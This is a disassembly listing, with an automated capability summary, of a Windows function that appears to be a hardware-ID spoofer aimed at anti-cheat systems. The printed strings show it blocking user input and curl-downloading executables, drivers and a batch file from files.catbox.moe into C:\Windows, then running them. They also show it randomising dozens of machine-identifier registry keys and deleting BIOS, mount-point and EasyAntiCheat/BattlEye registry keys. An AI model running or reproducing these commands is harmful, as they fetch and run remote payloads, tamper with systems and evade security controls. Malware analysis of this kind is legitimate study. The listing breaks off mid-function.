Function at 0x14005add0
Capabilities:
Capture network configuration via ipconfig
Delete volume shadow copies
Execute command
Persist via windows service
Self delete
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x660]
sub rsp, 0x760
mov rax, qword [0x14011c240]
xor rax, rsp
mov qword [rbp + 0x658], rax
xor r13d, r13d
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
lea rcx, [rbp + 0x18]
call fcn.14005ce50
nop
lea rcx, [rbp - 8]
call fcn.14005ce50
nop
lea rcx, [rbp - 0x28]
call fcn.14005ce50
nop
lea rcx, [rbp - 0x48]
call fcn.14005ce50
nop
lea rcx, [rbp - 0x68]
call fcn.14005ce50
nop
lea rcx, [rsp + 0x78]
call fcn.14005ce50
nop
lea rcx, [rbp + 0xf8]
call fcn.14005ce50
nop
lea rcx, [rbp + 0xd8]
call fcn.14005ce50
nop
lea rcx, [rbp + 0xb8]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x98]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x78]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x58]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x38]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x638]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x618]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x5f8]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x5d8]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x5b8]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x598]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x578]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x558]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x538]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x518]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x4f8]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x4d8]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x4b8]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x498]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x478]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x458]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x438]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x418]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x3f8]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x3d8]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x3b8]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x398]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x378]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x358]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x338]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x318]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x2f8]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x2d8]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x2b8]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x298]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x278]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x258]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x238]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x218]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x1f8]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x1d8]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x1b8]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x198]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x178]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x158]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x138]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x118]
call fcn.14005ce50
nop
lea ecx, [r13 + 1]
call qword [sym.imp.USER32.dll_BlockInput]
lea rcx, str.curl___silent_https:__files.catbox.moe_sdfbn8.sys___output_C:Windowswinxsrcsv64.exe__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_2mxhwn.sys___output_C:Windowsiqvw64e.sys__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_n6i5j0.sys___output_C:Windowswinxsrcsv64.sys__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_xre5ck___output_C:WindowsDisk1.exe__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_8o2zsu.bat___output_C:WindowsMac.bat__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.reg_add_HKLMSYSTEMCurrentControlSetControlComputerNameComputerName__v_ComputerName__t_REG_SZ__d__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSYSTEMCurrentControlSetControlComputerNameActiveComputerName__v_ComputerName__t_REG_SZ__d__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSYSTEMCurrentControlSetControlSystemInformation__v_ComputerHardwareId__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSYSTEMCurrentControlSetControlSystemInformation__v_ComputerHardwareIds__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSYSTEMCurrentControlSetControlIDConfigDBHardware___Profiles0001__v_HwProfileGuid__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSOFTWAREMicrosoftSQMClient__v_MachineId__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSOFTWAREMicrosoftSQMClient__v_WinSqmFirstSessionStartTime__t_REG_QWORD__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSOFTWAREMicrosoftCryptography__v_MachineGuid__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSOFTWAREMicrosoftCryptography__v_GUID__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSYSTEMHardwareConfig__v_LastConfig__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSOFTWARENVIDIA___CorporationGlobal__v_ClientUUID__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSOFTWARENVIDIA___CorporationGlobal__v_PersistenceIdentifier__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSOFTWARENVIDIA___CorporationGlobalCoProcManager__v_ChipsetMatchID__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMHARDWAREDEVICEMAPScsiScsi___Port___0Scsi___Bus___0Target___Id___0Logical___Unit___Id___0__v_Identifier__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMHARDWAREDEVICEMAPScsiScsi___Port___1Scsi___Bus___0Target___Id___0Logical___Unit___Id___0__v_Identifier__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMHARDWAREDESCRIPTIONSystemMultifunctionAdapter0DiskController0DiskPeripheral0__v_Identifier__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMHARDWAREDESCRIPTIONSystemMultifunctionAdapter0DiskController0DiskPeripheral1__v_Identifier__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSYSTEMControlSet001ServicesBasicDisplayVideo__v_VideoID__t_REG_SZ__d__random__random___random__random___random__random___f__nul__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSYSTEMCurrentControlSetServicesTcpipParameters__v_Hostname__t_REG_SZ__d__random__random___random__random___random__random___f__nul__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSystemCurrentControlSetServicesTcpipParameters__v_Domain__t_REG_SZ__d__random__random___random__random___random__random___f__nul__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSystemCurrentControlSetControlDevQuery6__v_UUID__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSYSTEMCurrentControlSetServicesTcpipParameters__v_NV___Hostname__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSOFTWAREMicrosoftWindows___NTCurrentVersion__v_InstallTime__t_REG_QWORD__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSOFTWAREMicrosoftWindows___NTCurrentVersion__v_InstallDate__t_REG_QWORD__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSOFTWAREMicrosoftWindows___NTCurrentVersion__v_ProductId__t_REG_SZ__d__random__random___random__random___random__random___f__nul__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSOFTWAREMicrosoftWindows___NTCurrentVersion__v_BuildGUID__t_REG_SZ__d__random__random___random__random___random__random___f__nul__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSYSTEMSoftwareMicrosoft__v_BuildLab__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSYSTEMSoftwareMicrosoft__v_BuildLabEx__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSOFTWAREMicrosoftWindowsCurrentVersionWindowsUpdate__v_AccountDomainSid__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSOFTWAREMicrosoftWindowsCurrentVersionWindowsUpdate__v_PingID__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSOFTWAREMicrosoftWindowsCurrentVersionWindowsUpdate__v_SusClientId__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSOFTWAREMicrosoftWindows___NTCurrentVersionTracingMicrosoftProfileProfile__v_Guid__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSOFTWAREMicrosoftWindows___NTCurrentVersion__v_RegisteredOwner__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSOFTWAREMicrosoftWindows___NTCurrentVersion__v_RegisteredOrganization__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSOFTWAREMicrosoftWindows___NTCurrentVersion__v_BuildBranch__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSOFTWAREMicrosoftWindows___NTCurrentVersion__v_DigitalProductId__t_REG_BINARY__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSOFTWAREMicrosoftWindows___NTCurrentVersion__v_DigitalProductId4__t_REG_BINARY__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSYSTEMControlSet001ServicesmouhidParameters__v_WppRecorder_TraceGuid__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSYSTEMControlSet001ServiceskbdhidParameters__v_WppRecorder_TraceGuid__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSYSTEMControlSet001ServicesUSBHUB3Parameters__v_WppRecorder_TraceGuid__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSYSTEMControlSet001ServicesUSBXHCIParameters__v_WppRecorder_TraceGuid__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete_HKLMSYSTEMMountedDevices__f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete_HKCUSOFTWAREMicrosoftWindowsCurrentVersionExplorerBitBucketVolume__f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete_HKCUSOFTWAREMicrosoftWindowsCurrentVersionExplorerMountPoints2CPCVolume__f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete_HKCUSOFTWAREMicrosoftWindowsCurrentVersionExplorerMountPoints2__f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete_HKCUSOFTWAREMicrosoftWindowsCurrentVersionExplorerBitBucket__v_LastEnum__f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete_HKLMSOFTWAREMicrosoftDfrgStatistics__f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete_HKLMSYSTEMCurrentControlSetServicesmssmbiosData__v_AcpiData__f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete_HKLMSYSTEMCurrentControlSetServicesmssmbiosData__v_BiosData__f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete_HKLMSYSTEMCurrentControlSetServicesmssmbiosData__v_RegistersData__f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete_HKLMSYSTEMCurrentControlSetServicesmssmbiosData__v_SMBiosData__f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete_HKLMHARDWAREDESCRIPTIONSystemCentralProcessor0__f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete_HKLMSYSTEMControlSet001ServicesEasyAntiCheat__f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete_HKLMSYSTEMControlSet001ServicesBEService__f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windowswinxsrcsv64.exe__SU_AUTO__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r15, qword [rbp + 0x28]
movabs r12, 0x7fffffffffffffff
mov rax, r12
sub rax, r15
cmp rax, 0x1f
jb 0x14005cb94
lea r14, [rbp + 0x18]
cmp qword [rbp + 0x30], 0xf
cmova r14, qword [rbp + 0x18]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
lea rsi, [r15 + 0x1f]
mov ebx, reloc.WS2_32.dll_ntohs
lea rdi, [rsp + 0x30]
movabs rcx, 0x8000000000000000
lea eax, [rbx + 7]
cmp rsi, rbx
jbe 0x14005b4c8
mov rbx, rsi
or rbx, 0xf
cmp rbx, r12
jbe 0x14005b48e
mov rbx, r12
lea rax, [rcx + 0x27]
mov rcx, rax
call fcn.1400afc8c
test rax, rax
je 0x14005b65b
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14005b4c3
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14005b4b1
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14005cb76
jmp 0x14005b46f
test rcx, rcx
je 0x14005b4c0
call fcn.1400afc8c
mov rdi, rax
jmp 0x14005b4c3
mov rdi, r13
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rbx
movups xmm0, xmmword [str.C:Windowswinxsrcsv64.exe__SS]
movups xmmword [rdi], xmm0
movsd xmm0, qword [0x1400fbc48]
movsd qword [rdi + 0x10], xmm0
mov eax, dword [0x1400fbc50]
mov dword [rdi + 0x18], eax
movzx eax, word [0x1400fbc54]
mov word [rdi + 0x1c], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_32]
mov byte [rdi + 0x1e], al
lea rcx, [rdi + 0x1f]
mov r8, r15
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], 0
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rcx
cmp rax, 5
jb 0x14005b56b
lea rax, [rcx + 5]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x30]
add rbx, rcx
mov r8d, 5
lea rdx, str.__nul
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 5], 0
lea rax, [rsp + 0x30]
jmp 0x14005b58c
mov qword [rsp + 0x20], 5
lea r9, str.__nul
xor r8d, r8d
lea edx, [r8 + 5]
lea rcx, [rsp + 0x30]
call fcn.140059d30
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rcx, qword [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x14005b614
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005b60f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005b60f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400af628
movdqa xmm0, xmmword [0x14010b2b0]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14005b667
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005b662
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005b662
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400af628
mov r14, qword [rbp + 8]
mov rax, r12
sub rax, r14
cmp rax, 0x20
jb 0x14005cb9a
lea r15, [rbp - 8]
cmp qword [rbp + 0x10], 0xf
cmova r15, qword [rbp - 8]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
lea rsi, [r14 + 0x20]
mov ebx, reloc.WS2_32.dll_ntohs
lea rdi, [rsp + 0x30]
cmp rsi, rbx
jbe 0x14005b729
mov rbx, rsi
or rbx, 0xf
cmp rbx, r12
jbe 0x14005b6e9
mov rbx, r12
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400afc8c
test rax, rax
je 0x14005b89c
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14005b724
cmp rbx, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14005b712
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14005cb7c
jmp 0x14005b6ca
test rcx, rcx
je 0x14005b721
call fcn.1400afc8c
mov rdi, rax
jmp 0x14005b724
mov rdi, r13
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rbx
movups xmm0, xmmword [str.C:Windowswinxsrcsv64.exe__CSK]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [0x1400fbc68]
movups xmmword [rdi + 0x10], xmm1
lea rcx, [rdi + 0x20]
mov r8, r14
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], 0
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rcx
cmp rax, 5
jb 0x14005b7ac
lea rax, [rcx + 5]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x30]
add rbx, rcx
mov r8d, 5
lea rdx, str.__nul
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 5], 0
lea rax, [rsp + 0x30]
jmp 0x14005b7cd
mov qword [rsp + 0x20], 5
lea r9, str.__nul
xor r8d, r8d
lea edx, [r8 + 5]
lea rcx, [rsp + 0x30]
call fcn.140059d30
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rcx, qword [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x14005b855
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005b850
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005b850
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400af628
movdqa xmm0, xmmword [0x14010b2b0]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14005b8a8
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005b8a3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005b8a3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400af628
mov r14, qword [rbp - 0x18]
mov rax, r12
sub rax, r14
cmp rax, 0x20
jb 0x14005cba0
lea r15, [rbp - 0x28]
cmp qword [rbp - 0x10], 0xf
cmova r15, qword [rbp - 0x28]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
lea rsi, [r14 + 0x20]
mov ebx, reloc.WS2_32.dll_ntohs
lea rdi, [rsp + 0x30]
cmp rsi, rbx
jbe 0x14005b96a
mov rbx, rsi
or rbx, 0xf
cmp rbx, r12
jbe 0x14005b92a
mov rbx, r12
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400afc8c
test rax, rax
je 0x14005badd
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14005b965
cmp rbx, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14005b953
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14005cb82
jmp 0x14005b90b
test rcx, rcx
je 0x14005b962
call fcn.1400afc8c
mov rdi, rax
jmp 0x14005b965
mov rdi, r13
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rbx
movups xmm0, xmmword [str.C:Windowswinxsrcsv64.exe__CM]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [0x1400fbc90]
movups xmmword [rdi + 0x10], xmm1
lea rcx, [rdi + 0x20]
mov r8, r14
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], 0
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rcx
cmp rax, 5
jb 0x14005b9ed
lea rax, [rcx + 5]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x30]
add rbx, rcx
mov r8d, 5
lea rdx, str.__nul
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 5], 0
lea rax, [rsp + 0x30]
jmp 0x14005ba0e
mov qword [rsp + 0x20], 5
lea r9, str.__nul
xor r8d, r8d
lea edx, [r8 + 5]
lea rcx, [rsp + 0x30]
call fcn.140059d30
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rcx, qword [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x14005ba96
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005ba91
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005ba91
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400af628
movdqa xmm0, xmmword [0x14010b2b0]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14005bae9
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005bae4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
